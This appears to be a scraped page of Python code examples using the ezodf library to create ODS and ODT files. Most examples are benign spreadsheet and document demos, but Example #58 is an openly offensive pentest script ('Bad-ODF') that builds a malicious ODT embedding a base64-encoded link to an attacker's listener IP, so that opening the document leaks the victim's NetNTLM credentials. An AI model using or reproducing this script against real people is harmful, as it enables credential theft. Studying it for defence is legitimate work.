    content = open(file, "r").read()
    for data, dataStart, dataEnd in grade.scanString(content):
        name = unicode(data["name"].strip(), "utf-8")
        mec = data["mec"]
        if not rmat[mec]:
            rmat[mec] = [name, mec]
            names.append((name, mec))
        question_number_list.append(data["Q#"])
        weight.append(data["points"])
        if "mangrade" in data:
            rmat[mec].append(data["mangrade"].replace('.', ','))
        else:
            rmat[mec].append(data["autgrade"].replace('.', ','))
    points.extend(list(set(weight)))

doc = newdoc(doctype='ods',
             filename='grades_bioinformatics_{}.ods'.format(now))

doc.sheets.append(Sheet(name="grades", size=(1, 20)))

sheet = doc.sheets['grades']


def write_row(sheet, row):
    for i, v in enumerate(row):
        sheet[(sheet.nrows() - 1, i)].set_value(v)
    sheet.append_rows()


headers = (['name', 'mec'] +
           ["Q{}".format(no)
            for no in sorted(set(question_number_list))] + ['grade(0-20)'])
Example #54
0
#!/usr/bin/env python
#coding:utf-8
# Purpose: example spreadhet with formula
# Created: 06.02.2011
# Copyright (C) 2011, Manfred Moitzi
# License: MIT license
from __future__ import unicode_literals, print_function, division
__author__ = "mozman <*****@*****.**>"

import ezodf

ods = ezodf.newdoc('ods')

sheet = ezodf.Sheet('SUM Formula')
ods.sheets += sheet

for col in range(5):
    for row in range(10):
        sheet[row,col].set_value(col*10. + row)

sheet['F9'].set_value("Summe:")
sheet['F10'].formula = 'of:=SUM([.A1:.E10])'
sheet['F1'].formula = 'of:=SUM([.A1];[.B1];[.C1];[.D1];[.E1])'
ods.saveas('sum_formula.ods')
Example #55
0
#!/usr/bin/env python
#coding:utf-8
# Purpose: example make_refshett.py
# Created: 05.02.2011
# Copyright (C) 2011, Manfred Moitzi
# License: MIT license
from __future__ import unicode_literals, print_function, division
__author__ = "mozman <*****@*****.**>"

import ezodf

NCOLS = 10
NROWS = 10

ods = ezodf.newdoc('ods', 'refsheet.ods')

sheet = ezodf.Sheet('REFS', size=(NROWS, NCOLS))
ods.sheets += sheet

for row in range(NROWS):
    for col in range(NCOLS):
        content = chr(ord('A') + col) + str(row + 1)
        sheet[row, col].set_value(content)

ods.save()
Example #56
0
def export_ods(path):
    ods = ezodf.newdoc(doctype='ods', filename=path)
    summary = ezodf.Sheet('summary', size=(100, 100))
    ods.sheets += summary
    for mem_size, results in sorted(memcached_optimum.items()):
        if not len(results):
            continue
        ods.sheets += memcached_results_to_sheet(
            'memcached_optimum-%d' % mem_size,
            results
        )
    for mem_size, results in sorted(memcached_with_fix.items()):
        if not len(results):
            continue
        if mem_size is None:
            mem_size = 'unrestrained'
        ods.sheets += memcached_results_to_sheet(
            'memcached_with_fix-%s' % str(mem_size),
            results
        )
    for mem_size, results in sorted(memcached_without_fix.items()):
        if not len(results):
            continue
        if mem_size is None:
            mem_size = 'unrestrained'
        ods.sheets += memcached_results_to_sheet(
            'memcached_without_fix-%s' % str(mem_size),
            results
        )

    for mem_size, results in sorted(apache_optimum.items()):
        if not len(results):
            continue
        ods.sheets += apache_results_to_sheet(
            'apache_optimum-%d' % mem_size,
            results
        )
    for mem_size, results in sorted(apache_with_fix.items()):
        if not len(results):
            continue
        ods.sheets += apache_results_to_sheet(
            'apache_with_fix-%d' % mem_size,
            results
        )
    for mem_size, results in sorted(apache_without_fix.items()):
        if mem_size is None:
            mem_size = 2048
        if not len(results):
            continue
        ods.sheets += apache_results_to_sheet(
            'apache_without_fix-%d' % mem_size,
            results
        )

    for mem_size, results in sorted(node_optimum.items()):
        if not len(results):
            continue
        ods.sheets += apache_results_to_sheet(
            'node_optimum-%d' % mem_size,
            results
        )
    for mem_size, results in sorted(node_with_fix.items()):
        if not len(results):
            continue
        ods.sheets += apache_results_to_sheet(
            'node_with_fix-%d' % mem_size,
            results
        )
    for mem_size, results in sorted(node_without_fix.items()):
        if mem_size is None:
            mem_size = 2048
        if not len(results):
            continue
        ods.sheets += apache_results_to_sheet(
            'node_without_fix-%d' % mem_size,
            results
        )

    for mem_size, results in sorted(postgresql_optimum.items()):
        if not len(results):
            continue
        ods.sheets += postgresql_results_to_sheet(
            'postgresql_optimum-%d' % mem_size,
            results
        )
    for mem_size, results in sorted(postgresql_with_fix.items()):
        if not len(results):
            continue
        ods.sheets += postgresql_results_to_sheet(
            'postgresql_with_fix-%d' % mem_size,
            results
        )
    for mem_size, results in sorted(postgresql_without_fix.items()):
        if not len(results):
            continue
        ods.sheets += postgresql_results_to_sheet(
            'postgresql_without_fix-%d' % mem_size,
            results
        )

    fill_summary(ods, summary)
    ods.save()
Example #57
0
 def __init__(self, filename, **keywords):
     BookWriter.__init__(self, filename)  # in case something will be done
     self.native_book = ezodf.newdoc(doctype="ods", filename=filename)
Example #58
0
print """
    ____            __      ____  ____  ______
   / __ )____ _____/ /     / __ \/ __ \/ ____/
  / __  / __ `/ __  /_____/ / / / / / / /_    
 / /_/ / /_/ / /_/ /_____/ /_/ / /_/ / __/    
/_____/\__,_/\__,_/      \____/_____/_/     

"""
print "Create a malicious ODF document help leak NetNTLM Creds"
print "\nBy Richard Davy "
print "@rd_pentest"
print "www.secureyourit.co.uk\n"

#Create a blank ODT file
namef = "temp.odt"
odt = newdoc(doctype='odt', filename=namef)
odt.save()

#Create our modified content.xml file
contentxml1="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtY29udGVudCB4bWxuczpvZmZpY2U9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2ZmaWNlOjEuMCIgeG1sbnM6c3R5bGU9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6c3R5bGU6MS4wIiB4bWxuczp0ZXh0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnRleHQ6MS4wIiB4bWxuczp0YWJsZT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczp0YWJsZToxLjAiIHhtbG5zOmRyYXc9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6ZHJhd2luZzoxLjAiIHhtbG5zOmZvPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnhzbC1mby1jb21wYXRpYmxlOjEuMCIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6bWV0YT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczptZXRhOjEuMCIgeG1sbnM6bnVtYmVyPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmRhdGFzdHlsZToxLjAiIHhtbG5zOnN2Zz0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpzdmctY29tcGF0aWJsZToxLjAiIHhtbG5zOmNoYXJ0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmNoYXJ0OjEuMCIgeG1sbnM6ZHIzZD0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpkcjNkOjEuMCIgeG1sbnM6bWF0aD0iaHR0cDovL3d3dy53My5vcmcvMTk5OC9NYXRoL01hdGhNTCIgeG1sbnM6Zm9ybT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6c2NyaXB0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnNjcmlwdDoxLjAiIHhtbG5zOm9vbz0iaHR0cDovL29wZW5vZmZpY2Uub3JnLzIwMDQvb2ZmaWNlIiB4bWxuczpvb293PSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAwNC93cml0ZXIiIHhtbG5zOm9vb2M9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA0L2NhbGMiIHhtbG5zOmRvbT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS94bWwtZXZlbnRzIiB4bWxuczp4Zm9ybXM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDIveGZvcm1zIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczpycHQ9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA1L3JlcG9ydCIgeG1sbnM6b2Y9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2Y6MS4yIiB4bWxuczp4aHRtbD0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgeG1sbnM6Z3JkZGw9Imh0dHA6Ly93d3cudzMub3JnLzIwMDMvZy9kYXRhLXZpZXcjIiB4bWxuczpvZmZpY2Vvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L29mZmljZSIgeG1sbnM6dGFibGVvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L3RhYmxlIiB4bWxuczpkcmF3b29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAxMC9kcmF3IiB4bWxuczpjYWxjZXh0PSJ1cm46b3JnOmRvY3VtZW50Zm91bmRhdGlvbjpuYW1lczpleHBlcmltZW50YWw6Y2FsYzp4bWxuczpjYWxjZXh0OjEuMCIgeG1sbnM6bG9leHQ9InVybjpvcmc6ZG9jdW1lbnRmb3VuZGF0aW9uOm5hbWVzOmV4cGVyaW1lbnRhbDpvZmZpY2U6eG1sbnM6bG9leHQ6MS4wIiB4bWxuczpmaWVsZD0idXJuOm9wZW5vZmZpY2U6bmFtZXM6ZXhwZXJpbWVudGFsOm9vby1tcy1pbnRlcm9wOnhtbG5zOmZpZWxkOjEuMCIgeG1sbnM6Zm9ybXg9InVybjpvcGVub2ZmaWNlOm5hbWVzOmV4cGVyaW1lbnRhbDpvb3htbC1vZGYtaW50ZXJvcDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6Y3NzM3Q9Imh0dHA6Ly93d3cudzMub3JnL1RSL2NzczMtdGV4dC8iIG9mZmljZTp2ZXJzaW9uPSIxLjIiPjxvZmZpY2U6c2NyaXB0cy8+PG9mZmljZTpmb250LWZhY2UtZGVjbHM+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FuczEiIHN2Zzpmb250LWZhbWlseT0iJmFwb3M7THVjaWRhIFNhbnMmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InN3aXNzIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMaWJlcmF0aW9uIFNlcmlmIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2VyaWYmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InJvbWFuIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTGliZXJhdGlvbiBTYW5zIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3dpc3MiIHN0eWxlOmZvbnQtcGl0Y2g9InZhcmlhYmxlIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FucyIgc3ZnOmZvbnQtZmFtaWx5PSImYXBvcztMdWNpZGEgU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTWljcm9zb2Z0IFlhSGVpIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO01pY3Jvc29mdCBZYUhlaSZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iU2ltU3VuIiBzdmc6Zm9udC1mYW1pbHk9IlNpbVN1biIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjwvb2ZmaWNlOmZvbnQtZmFjZS1kZWNscz48b2ZmaWNlOmF1dG9tYXRpYy1zdHlsZXM+PHN0eWxlOnN0eWxlIHN0eWxlOm5hbWU9ImZyMSIgc3R5bGU6ZmFtaWx5PSJncmFwaGljIiBzdHlsZTpwYXJlbnQtc3R5bGUtbmFtZT0iT0xFIj48c3R5bGU6Z3JhcGhpYy1wcm9wZXJ0aWVzIHN0eWxlOmhvcml6b250YWwtcG9zPSJjZW50ZXIiIHN0eWxlOmhvcml6b250YWwtcmVsPSJwYXJhZ3JhcGgiIGRyYXc6b2xlLWRyYXctYXNwZWN0PSIxIi8+PC9zdHlsZTpzdHlsZT48L29mZmljZTphdXRvbWF0aWMtc3R5bGVzPjxvZmZpY2U6Ym9keT48b2ZmaWNlOnRleHQ+PHRleHQ6c2VxdWVuY2UtZGVjbHM+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJJbGx1c3RyYXRpb24iLz48dGV4dDpzZXF1ZW5jZS1kZWNsIHRleHQ6ZGlzcGxheS1vdXRsaW5lLWxldmVsPSIwIiB0ZXh0Om5hbWU9IlRhYmxlIi8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJUZXh0Ii8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJEcmF3aW5nIi8+PC90ZXh0OnNlcXVlbmNlLWRlY2xzPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCIvPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCI+PGRyYXc6ZnJhbWUgZHJhdzpzdHlsZS1uYW1lPSJmcjEiIGRyYXc6bmFtZT0iT2JqZWN0MSIgdGV4dDphbmNob3ItdHlwZT0icGFyYWdyYXBoIiBzdmc6d2lkdGg9IjE0LjEwMWNtIiBzdmc6aGVpZ2h0PSI5Ljk5OWNtIiBkcmF3OnotaW5kZXg9IjAiPjxkcmF3Om9iamVjdCB4bGluazpocmVmPSJmaWxlOi8v"
contentxml2=raw_input("\nPlease enter IP of listener: ")
contentxml3="L3Rlc3QuanBnIiB4bGluazp0eXBlPSJzaW1wbGUiIHhsaW5rOnNob3c9ImVtYmVkIiB4bGluazphY3R1YXRlPSJvbkxvYWQiLz48ZHJhdzppbWFnZSB4bGluazpocmVmPSIuL09iamVjdFJlcGxhY2VtZW50cy9PYmplY3QgMSIgeGxpbms6dHlwZT0ic2ltcGxlIiB4bGluazpzaG93PSJlbWJlZCIgeGxpbms6YWN0dWF0ZT0ib25Mb2FkIi8+PC9kcmF3OmZyYW1lPjwvdGV4dDpwPjwvb2ZmaWNlOnRleHQ+PC9vZmZpY2U6Ym9keT48L29mZmljZTpkb2N1bWVudC1jb250ZW50Pg=="

fileout=base64.b64decode(contentxml1)+contentxml2+base64.b64decode(contentxml3)

text_file = open("content.xml", "w")
text_file.write(fileout)
text_file.close()

#Create a copy of the blank odt file without the content.xml file in (odt files are basically a zip)
zin = zipfile.ZipFile ('temp.odt', 'r')
Example #59
0
import ezodf
from ezodf import Paragraph

# Criando um documento novo
documento = ezodf.newdoc(doctype="odt",
                         filename="arquivonovo.odt",
                         template=None)
# Adicionando um parágrafo e armazenando o objeto na variável p1
p1 = documento.body.append(Paragraph('Meu terceiro parágrafo.'))
# Adicionando um parágrafo antes do parágrafo p1
documento.body.insert_before(p1, Paragraph('Meu segundo parágrafo.'))
# inserindo um parágrafo passando o índice 0, ele vai ser inserido no
# início do documento
documento.body.insert(0, Paragraph('Meu primeiro parágrafo.'))

# Salvando o documento
documento.save()
Example #60
0
def test():
    ods = newdoc(doctype='ods', filname='test.ods')
    sheet1 = Sheet('sheet1')
    ods.sheets += sheet1
    sheet['A1'].set_value("Test")
    ods.save()